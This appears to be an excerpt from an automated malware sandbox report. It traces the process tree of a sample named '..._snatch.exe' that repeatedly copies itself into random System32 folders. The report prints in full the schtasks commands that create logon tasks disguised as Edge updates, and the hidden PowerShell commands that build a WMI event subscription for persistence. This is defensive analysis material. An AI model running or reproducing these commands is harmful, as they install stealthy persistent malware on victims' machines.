  powershell -NoProfile -WindowStyle Hidden -Command " $f = ([wmiclass]\"\\.\root\subscription:__EventFilter\").CreateInstance() $f.QueryLanguage = \"WQL\" $f.Query = \"SELECT * FROM __InstanceModificationEvent WITHIN 3600 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'\" $f.Name = \"EdgeBhoFilter\" $f.EventNamespace = \"root\cimv2\" $f.Put() | Out-Null $c = ([wmiclass]\"\\.\root\subscription:CommandLineEventConsumer\").CreateInstance() $c.Name = \"EdgeBhoConsumer\" $c.CommandLineTemplate = \"C:\Windows\System32\6lavn4vsnw\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe\" $c.Put() | Out-Null $b = ([wmiclass]\"\\.\root\subscription:__FilterToConsumerBinding\").CreateInstance() $b.Filter = $f.__PATH -replace '^.+?:' $b.Consumer = $c.__PATH -replace '^.+?:' $b.Put() | Out-Null "
  2⤵
  PID:6460

C:\Windows\System32\6lavn4vsnw\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
C:\Windows\System32\6lavn4vsnw\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
1⤵
PID:6652
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn MicrosoftEdgeUpdateTask-wu325lx6h4 /tr C:\Windows\System32\7vv10jldxi\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe /sc onlogon /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:6712
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command " $f = ([wmiclass]\"\\.\root\subscription:__EventFilter\").CreateInstance() $f.QueryLanguage = \"WQL\" $f.Query = \"SELECT * FROM __InstanceModificationEvent WITHIN 3600 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'\" $f.Name = \"EdgeBhoFilter\" $f.EventNamespace = \"root\cimv2\" $f.Put() | Out-Null $c = ([wmiclass]\"\\.\root\subscription:CommandLineEventConsumer\").CreateInstance() $c.Name = \"EdgeBhoConsumer\" $c.CommandLineTemplate = \"C:\Windows\System32\7vv10jldxi\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe\" $c.Put() | Out-Null $b = ([wmiclass]\"\\.\root\subscription:__FilterToConsumerBinding\").CreateInstance() $b.Filter = $f.__PATH -replace '^.+?:' $b.Consumer = $c.__PATH -replace '^.+?:' $b.Put() | Out-Null "
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:6784

C:\Windows\System32\7vv10jldxi\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
C:\Windows\System32\7vv10jldxi\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
1⤵
PID:6888
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn MicrosoftEdgeUpdateTask-nashmji11s /tr C:\Windows\System32\r3u7fc4inj\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe /sc onlogon /f
  2⤵
  PID:6956
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command " $f = ([wmiclass]\"\\.\root\subscription:__EventFilter\").CreateInstance() $f.QueryLanguage = \"WQL\" $f.Query = \"SELECT * FROM __InstanceModificationEvent WITHIN 3600 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'\" $f.Name = \"EdgeBhoFilter\" $f.EventNamespace = \"root\cimv2\" $f.Put() | Out-Null $c = ([wmiclass]\"\\.\root\subscription:CommandLineEventConsumer\").CreateInstance() $c.Name = \"EdgeBhoConsumer\" $c.CommandLineTemplate = \"C:\Windows\System32\r3u7fc4inj\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe\" $c.Put() | Out-Null $b = ([wmiclass]\"\\.\root\subscription:__FilterToConsumerBinding\").CreateInstance() $b.Filter = $f.__PATH -replace '^.+?:' $b.Consumer = $c.__PATH -replace '^.+?:' $b.Put() | Out-Null "
  2⤵
  PID:6980

C:\Windows\System32\r3u7fc4inj\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
C:\Windows\System32\r3u7fc4inj\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
1⤵
PID:7156
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn MicrosoftEdgeUpdateTask-x1l6nyksx5 /tr C:\Windows\System32\p1h6e5f6kz\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe /sc onlogon /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:6180
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command " $f = ([wmiclass]\"\\.\root\subscription:__EventFilter\").CreateInstance() $f.QueryLanguage = \"WQL\" $f.Query = \"SELECT * FROM __InstanceModificationEvent WITHIN 3600 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'\" $f.Name = \"EdgeBhoFilter\" $f.EventNamespace = \"root\cimv2\" $f.Put() | Out-Null $c = ([wmiclass]\"\\.\root\subscription:CommandLineEventConsumer\").CreateInstance() $c.Name = \"EdgeBhoConsumer\" $c.CommandLineTemplate = \"C:\Windows\System32\p1h6e5f6kz\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe\" $c.Put() | Out-Null $b = ([wmiclass]\"\\.\root\subscription:__FilterToConsumerBinding\").CreateInstance() $b.Filter = $f.__PATH -replace '^.+?:' $b.Consumer = $c.__PATH -replace '^.+?:' $b.Put() | Out-Null "
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:6108

C:\Windows\System32\p1h6e5f6kz\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
C:\Windows\System32\p1h6e5f6kz\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
1⤵
PID:6448
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn MicrosoftEdgeUpdateTask-bjessq7c3i /tr C:\Windows\System32\q7g6l47k1y\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe /sc onlogon /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:6292
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command " $f = ([wmiclass]\"\\.\root\subscription:__EventFilter\").CreateInstance() $f.QueryLanguage = \"WQL\" $f.Query = \"SELECT * FROM __InstanceModificationEvent WITHIN 3600 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'\" $f.Name = \"EdgeBhoFilter\" $f.EventNamespace = \"root\cimv2\" $f.Put() | Out-Null $c = ([wmiclass]\"\\.\root\subscription:CommandLineEventConsumer\").CreateInstance() $c.Name = \"EdgeBhoConsumer\" $c.CommandLineTemplate = \"C:\Windows\System32\q7g6l47k1y\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe\" $c.Put() | Out-Null $b = ([wmiclass]\"\\.\root\subscription:__FilterToConsumerBinding\").CreateInstance() $b.Filter = $f.__PATH -replace '^.+?:' $b.Consumer = $c.__PATH -replace '^.+?:' $b.Put() | Out-Null "
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:6328

C:\Windows\System32\q7g6l47k1y\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
C:\Windows\System32\q7g6l47k1y\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
1⤵
PID:6700
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn MicrosoftEdgeUpdateTask-znqip47ax4 /tr C:\Windows\System32\erlkby388v\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe /sc onlogon /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:6936
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command " $f = ([wmiclass]\"\\.\root\subscription:__EventFilter\").CreateInstance() $f.QueryLanguage = \"WQL\" $f.Query = \"SELECT * FROM __InstanceModificationEvent WITHIN 3600 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'\" $f.Name = \"EdgeBhoFilter\" $f.EventNamespace = \"root\cimv2\" $f.Put() | Out-Null $c = ([wmiclass]\"\\.\root\subscription:CommandLineEventConsumer\").CreateInstance() $c.Name = \"EdgeBhoConsumer\" $c.CommandLineTemplate = \"C:\Windows\System32\erlkby388v\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe\" $c.Put() | Out-Null $b = ([wmiclass]\"\\.\root\subscription:__FilterToConsumerBinding\").CreateInstance() $b.Filter = $f.__PATH -replace '^.+?:' $b.Consumer = $c.__PATH -replace '^.+?:' $b.Put() | Out-Null "
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:6972

C:\Windows\System32\erlkby388v\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
C:\Windows\System32\erlkby388v\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
1⤵
PID:7000
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn MicrosoftEdgeUpdateTask-avip1zgp0z /tr C:\Windows\System32\ahbq695abn\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe /sc onlogon /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:6980
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command " $f = ([wmiclass]\"\\.\root\subscription:__EventFilter\").CreateInstance() $f.QueryLanguage = \"WQL\" $f.Query = \"SELECT * FROM __InstanceModificationEvent WITHIN 3600 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'\" $f.Name = \"EdgeBhoFilter\" $f.EventNamespace = \"root\cimv2\" $f.Put() | Out-Null $c = ([wmiclass]\"\\.\root\subscription:CommandLineEventConsumer\").CreateInstance() $c.Name = \"EdgeBhoConsumer\" $c.CommandLineTemplate = \"C:\Windows\System32\ahbq695abn\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe\" $c.Put() | Out-Null $b = ([wmiclass]\"\\.\root\subscription:__FilterToConsumerBinding\").CreateInstance() $b.Filter = $f.__PATH -replace '^.+?:' $b.Consumer = $c.__PATH -replace '^.+?:' $b.Put() | Out-Null "
  2⤵
  PID:924

C:\Windows\System32\ahbq695abn\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
C:\Windows\System32\ahbq695abn\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
1⤵
PID:6428
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn MicrosoftEdgeUpdateTask-tq2j4f74dn /tr C:\Windows\System32\ymwz2cm6q2\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe /sc onlogon /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:6316
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command " $f = ([wmiclass]\"\\.\root\subscription:__EventFilter\").CreateInstance() $f.QueryLanguage = \"WQL\" $f.Query = \"SELECT * FROM __InstanceModificationEvent WITHIN 3600 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'\" $f.Name = \"EdgeBhoFilter\" $f.EventNamespace = \"root\cimv2\" $f.Put() | Out-Null $c = ([wmiclass]\"\\.\root\subscription:CommandLineEventConsumer\").CreateInstance() $c.Name = \"EdgeBhoConsumer\" $c.CommandLineTemplate = \"C:\Windows\System32\ymwz2cm6q2\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe\" $c.Put() | Out-Null $b = ([wmiclass]\"\\.\root\subscription:__FilterToConsumerBinding\").CreateInstance() $b.Filter = $f.__PATH -replace '^.+?:' $b.Consumer = $c.__PATH -replace '^.+?:' $b.Put() | Out-Null "
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:6312

C:\Windows\System32\ymwz2cm6q2\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
C:\Windows\System32\ymwz2cm6q2\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
1⤵
PID:7120
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn MicrosoftEdgeUpdateTask-3quvqvky7x /tr C:\Windows\System32\qumnwaa15i\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe /sc onlogon /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:6920
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command " $f = ([wmiclass]\"\\.\root\subscription:__EventFilter\").CreateInstance() $f.QueryLanguage = \"WQL\" $f.Query = \"SELECT * FROM __InstanceModificationEvent WITHIN 3600 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'\" $f.Name = \"EdgeBhoFilter\" $f.EventNamespace = \"root\cimv2\" $f.Put() | Out-Null $c = ([wmiclass]\"\\.\root\subscription:CommandLineEventConsumer\").CreateInstance() $c.Name = \"EdgeBhoConsumer\" $c.CommandLineTemplate = \"C:\Windows\System32\qumnwaa15i\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe\" $c.Put() | Out-Null $b = ([wmiclass]\"\\.\root\subscription:__FilterToConsumerBinding\").CreateInstance() $b.Filter = $f.__PATH -replace '^.+?:' $b.Consumer = $c.__PATH -replace '^.+?:' $b.Put() | Out-Null "
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:7164

C:\Windows\System32\qumnwaa15i\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
C:\Windows\System32\qumnwaa15i\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
1⤵
PID:6480
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn MicrosoftEdgeUpdateTask-wgcr5bq9yg /tr C:\Windows\System32\rc6fo6ja5d\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe /sc onlogon /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:7028
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command " $f = ([wmiclass]\"\\.\root\subscription:__EventFilter\").CreateInstance() $f.QueryLanguage = \"WQL\" $f.Query = \"SELECT * FROM __InstanceModificationEvent WITHIN 3600 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'\" $f.Name = \"EdgeBhoFilter\" $f.EventNamespace = \"root\cimv2\" $f.Put() | Out-Null $c = ([wmiclass]\"\\.\root\subscription:CommandLineEventConsumer\").CreateInstance() $c.Name = \"EdgeBhoConsumer\" $c.CommandLineTemplate = \"C:\Windows\System32\rc6fo6ja5d\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe\" $c.Put() | Out-Null $b = ([wmiclass]\"\\.\root\subscription:__FilterToConsumerBinding\").CreateInstance() $b.Filter = $f.__PATH -replace '^.+?:' $b.Consumer = $c.__PATH -replace '^.+?:' $b.Put() | Out-Null "
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:6984

C:\Windows\System32\rc6fo6ja5d\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
C:\Windows\System32\rc6fo6ja5d\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
1⤵
PID:6224
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn MicrosoftEdgeUpdateTask-b1y69dqsbo /tr C:\Windows\System32\hacy9l071g\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe /sc onlogon /f
  2⤵
  PID:6620
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command " $f = ([wmiclass]\"\\.\root\subscription:__EventFilter\").CreateInstance() $f.QueryLanguage = \"WQL\" $f.Query = \"SELECT * FROM __InstanceModificationEvent WITHIN 3600 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'\" $f.Name = \"EdgeBhoFilter\" $f.EventNamespace = \"root\cimv2\" $f.Put() | Out-Null $c = ([wmiclass]\"\\.\root\subscription:CommandLineEventConsumer\").CreateInstance() $c.Name = \"EdgeBhoConsumer\" $c.CommandLineTemplate = \"C:\Windows\System32\hacy9l071g\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe\" $c.Put() | Out-Null $b = ([wmiclass]\"\\.\root\subscription:__FilterToConsumerBinding\").CreateInstance() $b.Filter = $f.__PATH -replace '^.+?:' $b.Consumer = $c.__PATH -replace '^.+?:' $b.Put() | Out-Null "
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:1872

C:\Windows\System32\hacy9l071g\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
C:\Windows\System32\hacy9l071g\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
1⤵
PID:5188
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn MicrosoftEdgeUpdateTask-moakai96eq /tr C:\Windows\System32\5m3lesdela\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe /sc onlogon /f
  2⤵
  PID:6752
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command " $f = ([wmiclass]\"\\.\root\subscription:__EventFilter\").CreateInstance() $f.QueryLanguage = \"WQL\" $f.Query = \"SELECT * FROM __InstanceModificationEvent WITHIN 3600 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'\" $f.Name = \"EdgeBhoFilter\" $f.EventNamespace = \"root\cimv2\" $f.Put() | Out-Null $c = ([wmiclass]\"\\.\root\subscription:CommandLineEventConsumer\").CreateInstance() $c.Name = \"EdgeBhoConsumer\" $c.CommandLineTemplate = \"C:\Windows\System32\5m3lesdela\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe\" $c.Put() | Out-Null $b = ([wmiclass]\"\\.\root\subscription:__FilterToConsumerBinding\").CreateInstance() $b.Filter = $f.__PATH -replace '^.+?:' $b.Consumer = $c.__PATH -replace '^.+?:' $b.Put() | Out-Null "
  2⤵
  PID:6648

C:\Windows\System32\5m3lesdela\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
C:\Windows\System32\5m3lesdela\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
1⤵
PID:7204
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn MicrosoftEdgeUpdateTask-ozlgwqxaam /tr C:\Windows\System32\x9aobm6f50\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe /sc onlogon /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:7264
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command " $f = ([wmiclass]\"\\.\root\subscription:__EventFilter\").CreateInstance() $f.QueryLanguage = \"WQL\" $f.Query = \"SELECT * FROM __InstanceModificationEvent WITHIN 3600 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'\" $f.Name = \"EdgeBhoFilter\" $f.EventNamespace = \"root\cimv2\" $f.Put() | Out-Null $c = ([wmiclass]\"\\.\root\subscription:CommandLineEventConsumer\").CreateInstance() $c.Name = \"EdgeBhoConsumer\" $c.CommandLineTemplate = \"C:\Windows\System32\x9aobm6f50\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe\" $c.Put() | Out-Null $b = ([wmiclass]\"\\.\root\subscription:__FilterToConsumerBinding\").CreateInstance() $b.Filter = $f.__PATH -replace '^.+?:' $b.Consumer = $c.__PATH -replace '^.+?:' $b.Put() | Out-Null "
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:7280

C:\Windows\System32\x9aobm6f50\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
C:\Windows\System32\x9aobm6f50\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
1⤵
PID:7468
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn MicrosoftEdgeUpdateTask-i1r93unf1k /tr C:\Windows\System32\ziputa0pbh\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe /sc onlogon /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:7528
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command " $f = ([wmiclass]\"\\.\root\subscription:__EventFilter\").CreateInstance() $f.QueryLanguage = \"WQL\" $f.Query = \"SELECT * FROM __InstanceModificationEvent WITHIN 3600 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'\" $f.Name = \"EdgeBhoFilter\" $f.EventNamespace = \"root\cimv2\" $f.Put() | Out-Null $c = ([wmiclass]\"\\.\root\subscription:CommandLineEventConsumer\").CreateInstance() $c.Name = \"EdgeBhoConsumer\" $c.CommandLineTemplate = \"C:\Windows\System32\ziputa0pbh\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe\" $c.Put() | Out-Null $b = ([wmiclass]\"\\.\root\subscription:__FilterToConsumerBinding\").CreateInstance() $b.Filter = $f.__PATH -replace '^.+?:' $b.Consumer = $c.__PATH -replace '^.+?:' $b.Put() | Out-Null "
  2⤵
  PID:7544

C:\Windows\System32\ziputa0pbh\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
C:\Windows\System32\ziputa0pbh\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
1⤵
PID:7728
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn MicrosoftEdgeUpdateTask-9q5ze7wdn3 /tr C:\Windows\System32\2vsczqybzs\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe /sc onlogon /f
  2⤵
  PID:7784
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command " $f = ([wmiclass]\"\\.\root\subscription:__EventFilter\").CreateInstance() $f.QueryLanguage = \"WQL\" $f.Query = \"SELECT * FROM __InstanceModificationEvent WITHIN 3600 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'\" $f.Name = \"EdgeBhoFilter\" $f.EventNamespace = \"root\cimv2\" $f.Put() | Out-Null $c = ([wmiclass]\"\\.\root\subscription:CommandLineEventConsumer\").CreateInstance() $c.Name = \"EdgeBhoConsumer\" $c.CommandLineTemplate = \"C:\Windows\System32\2vsczqybzs\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe\" $c.Put() | Out-Null $b = ([wmiclass]\"\\.\root\subscription:__FilterToConsumerBinding\").CreateInstance() $b.Filter = $f.__PATH -replace '^.+?:' $b.Consumer = $c.__PATH -replace '^.+?:' $b.Put() | Out-Null "
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:7800

C:\Windows\System32\2vsczqybzs\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
C:\Windows\System32\2vsczqybzs\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
1⤵
PID:7980
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn MicrosoftEdgeUpdateTask-v259qdq4av /tr C:\Windows\System32\72858dcd9i\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe /sc onlogon /f
  2⤵
  PID:8040
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command " $f = ([wmiclass]\"\\.\root\subscription:__EventFilter\").CreateInstance() $f.QueryLanguage = \"WQL\" $f.Query = \"SELECT * FROM __InstanceModificationEvent WITHIN 3600 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'\" $f.Name = \"EdgeBhoFilter\" $f.EventNamespace = \"root\cimv2\" $f.Put() | Out-Null $c = ([wmiclass]\"\\.\root\subscription:CommandLineEventConsumer\").CreateInstance() $c.Name = \"EdgeBhoConsumer\" $c.CommandLineTemplate = \"C:\Windows\System32\72858dcd9i\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe\" $c.Put() | Out-Null $b = ([wmiclass]\"\\.\root\subscription:__FilterToConsumerBinding\").CreateInstance() $b.Filter = $f.__PATH -replace '^.+?:' $b.Consumer = $c.__PATH -replace '^.+?:' $b.Put() | Out-Null "
  2⤵
  PID:8056

C:\Windows\System32\72858dcd9i\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
C:\Windows\System32\72858dcd9i\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
1⤵
PID:5112
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn MicrosoftEdgeUpdateTask-z4vlddwi4o /tr C:\Windows\System32\04bmjvxgtu\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe /sc onlogon /f
  2⤵
  PID:3368
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command " $f = ([wmiclass]\"\\.\root\subscription:__EventFilter\").CreateInstance() $f.QueryLanguage = \"WQL\" $f.Query = \"SELECT * FROM __InstanceModificationEvent WITHIN 3600 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'\" $f.Name = \"EdgeBhoFilter\" $f.EventNamespace = \"root\cimv2\" $f.Put() | Out-Null $c = ([wmiclass]\"\\.\root\subscription:CommandLineEventConsumer\").CreateInstance() $c.Name = \"EdgeBhoConsumer\" $c.CommandLineTemplate = \"C:\Windows\System32\04bmjvxgtu\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe\" $c.Put() | Out-Null $b = ([wmiclass]\"\\.\root\subscription:__FilterToConsumerBinding\").CreateInstance() $b.Filter = $f.__PATH -replace '^.+?:' $b.Consumer = $c.__PATH -replace '^.+?:' $b.Put() | Out-Null "
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:5164

C:\Windows\System32\04bmjvxgtu\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
C:\Windows\System32\04bmjvxgtu\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
1⤵
PID:6176
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn MicrosoftEdgeUpdateTask-821rcen829 /tr C:\Windows\System32\law9tmrmqn\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe /sc onlogon /f
  2⤵
  PID:5508
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command " $f = ([wmiclass]\"\\.\root\subscription:__EventFilter\").CreateInstance() $f.QueryLanguage = \"WQL\" $f.Query = \"SELECT * FROM __InstanceModificationEvent WITHIN 3600 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'\" $f.Name = \"EdgeBhoFilter\" $f.EventNamespace = \"root\cimv2\" $f.Put() | Out-Null $c = ([wmiclass]\"\\.\root\subscription:CommandLineEventConsumer\").CreateInstance() $c.Name = \"EdgeBhoConsumer\" $c.CommandLineTemplate = \"C:\Windows\System32\law9tmrmqn\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe\" $c.Put() | Out-Null $b = ([wmiclass]\"\\.\root\subscription:__FilterToConsumerBinding\").CreateInstance() $b.Filter = $f.__PATH -replace '^.+?:' $b.Consumer = $c.__PATH -replace '^.+?:' $b.Put() | Out-Null "
  2⤵
  PID:7276

C:\Windows\System32\law9tmrmqn\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
C:\Windows\System32\law9tmrmqn\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
1⤵
PID:7512
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn MicrosoftEdgeUpdateTask-vzjf7ozi6d /tr C:\Windows\System32\term5eoulm\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe /sc onlogon /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:7720
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command " $f = ([wmiclass]\"\\.\root\subscription:__EventFilter\").CreateInstance() $f.QueryLanguage = \"WQL\" $f.Query = \"SELECT * FROM __InstanceModificationEvent WITHIN 3600 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'\" $f.Name = \"EdgeBhoFilter\" $f.EventNamespace = \"root\cimv2\" $f.Put() | Out-Null $c = ([wmiclass]\"\\.\root\subscription:CommandLineEventConsumer\").CreateInstance() $c.Name = \"EdgeBhoConsumer\" $c.CommandLineTemplate = \"C:\Windows\System32\term5eoulm\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe\" $c.Put() | Out-Null $b = ([wmiclass]\"\\.\root\subscription:__FilterToConsumerBinding\").CreateInstance() $b.Filter = $f.__PATH -replace '^.+?:' $b.Consumer = $c.__PATH -replace '^.+?:' $b.Put() | Out-Null "
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:7560

C:\Windows\System32\term5eoulm\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
C:\Windows\System32\term5eoulm\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
1⤵
PID:7836
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn MicrosoftEdgeUpdateTask-tx72r2hoax /tr C:\Windows\System32\xara09wf94\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe /sc onlogon /f
  2⤵
  PID:8024
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
